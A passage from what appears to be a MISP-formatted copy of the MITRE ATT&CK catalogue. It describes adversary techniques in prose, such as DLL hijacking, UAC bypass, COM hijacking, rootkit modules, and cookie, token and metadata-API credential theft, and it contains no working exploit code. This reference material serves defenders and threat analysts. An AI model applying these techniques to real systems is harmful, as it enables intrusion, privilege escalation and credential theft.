Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503"*

## File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](<https://attack.mitre.org/techniques/T1083>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include `dir`, `tree`, `ls`, `find`, and `locate`. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](<https://attack.mitre.org/techniques/T1106>).

## DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

## Detect App Analysis Environment - T1440

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

(Citation: Wang) presents a discussion of iOS anti-analysis techniques.

Platforms: Android, iOS

## File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform

other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

## Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

## Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `%TEMP%` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](<https://attack.mitre.org/techniques/T1088>). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

## Obtain Device Cloud Backups - T1470

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.

## Exfiltration Over Alternative Protocol - T1048

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](<https://attack.mitre.org/techniques/T1048>) can be done using various common operating system utilities such as [Net](<https://attack.mitre.org/software/S0039>)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)

## Access Stored Application Data - T1409

Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)

This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).

## System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the

network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)

Utilities and commands that acquire this information include [netstat](<https://attack.mitre.org/software/S0104>), "net use," and "net session" with [Net](<https://attack.mitre.org/software/S0039>). In Mac and Linux, [netstat](<https://attack.mitre.org/software/S0104>) and `lsof` can be used to list current connections. `who -a` and `w` can be used to show which users are currently logged in, similar to "net session".

## Use Alternate Authentication Material - T1550

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](<https://attack.mitre.org/tactics/TA0006>) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

## Service Registry Permissions Weakness - T1058

Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, `sc.exe`, [PowerShell](<https://attack.mitre.org/techniques/T1086>), or [Reg](<https://attack.mitre.org/software/S0075>). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service `binPath/ImagePath` to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `FailureCommand`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)

## Command and Scripting Interpreter - T1059

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](<https://attack.mitre.org/techniques/T1059/004>) while Windows installations include the [Windows Command Shell](<https://attack.mitre.org/techniques/T1059/003>) and [PowerShell](<https://attack.mitre.org/techniques/T1059/001>).

There are also cross-platform interpreters such as [Python](<https://attack.mitre.org/techniques/T1059/006>), as well as those commonly associated with client applications such as [JavaScript/JScrip](<https://attack.mitre.org/techniques/T1059/007>) and [Visual Basic](<https://attack.mitre.org/techniques/T1059/005>).

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](<https://attack.mitre.org/tactics/TA0001>) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.

## Gather Victim Network Information - T1590

Before compromising a victim, adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

## Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](<https://attack.mitre.org/techniques/T1045>) or otherwise modify the file so it has a different signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066"*

Indicator Removal from Tools - T1066 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"* with estimative-language:likelihood-probability="almost-certain"

Table 3104. Table References

Links
<a href="https://attack.mitre.org/techniques/T1066">https://attack.mitre.org/techniques/T1066</a>

## Exploitation for Privilege Escalation - T1068

Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions

depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"*

Table 3105. Table References

Links
<a href="https://attack.mitre.org/techniques/T1068">https://attack.mitre.org/techniques/T1068</a>

## Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `eventvwr.exe` can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

## Exploitation for Defense Evasion - T1211

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](<https://attack.mitre.org/techniques/T1518/001>). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

## Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store

data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

## Exploitation for Credential Access - T1212

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-

controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

## Component Object Model Hijacking - T1122

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

## Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](<https://attack.mitre.org/techniques/T1213/002>), [Confluence](<https://attack.mitre.org/techniques/T1213/001>), and enterprise databases such as SQL Server.

## Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](<https://attack.mitre.org/techniques/T1014>) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through `kextload` and `kextunload` commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

## Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root

privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](<https://attack.mitre.org/techniques/T1036>) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

## Man in the Browser - T1185

Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)

Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)

## Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a 'hidden' file. These files don't show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls -a` for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for

persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

## Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do `attrib +h filename` to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

## Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: `defaults write com.apple.finder AppleShowAllFiles YES`, and then relaunch the Finder Application.

## Mac

Files on macOS can be marked with the UF\_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

# Gather Victim Org Information - T1591

Before compromising a victim, adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Phishing](<https://attack.mitre.org/techniques/T1566>) or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

## Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at `http[:]//169.254.169.254</code>.`

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522"*

## Steal Application Access Token - T1528

Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](<https://attack.mitre.org/techniques/T1192>) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](<https://attack.mitre.org/techniques/T1527>).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)

## Gather Victim Host Information - T1592

Before compromising a victim, adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [Supply Chain Compromise](<https://attack.mitre.org/techniques/T1195>) or [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

## Remote Service Session Hijacking - T1563

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](<https://attack.mitre.org/techniques/T1563>) differs from use of [Remote Services](<https://attack.mitre.org/techniques/T1021>) because it hijacks an existing session rather than creating a new session using [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). (Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)

## Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. (Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system. (Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns. (Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a [Web Session

Cookie](<https://attack.mitre.org/techniques/T1506>) technique to login to the corresponding web application.

## Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it. (Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description. (Citation: Palo Alto HenBox)

Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"*

## Compromise Client Software Binary - T1554

Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554"*

<a href="https://attack.mitre.org/techniques/T1554">https://attack.mitre.org/techniques/T1554</a>

## Abuse Elevation Control Mechanism - T1548

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"*

Links
<a href="https://attack.mitre.org/techniques/T1548">https://attack.mitre.org/techniques/T1548</a>

## Downgrade to Insecure Protocols - T1466

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466"*

## Data Encrypted for Impact - T1486

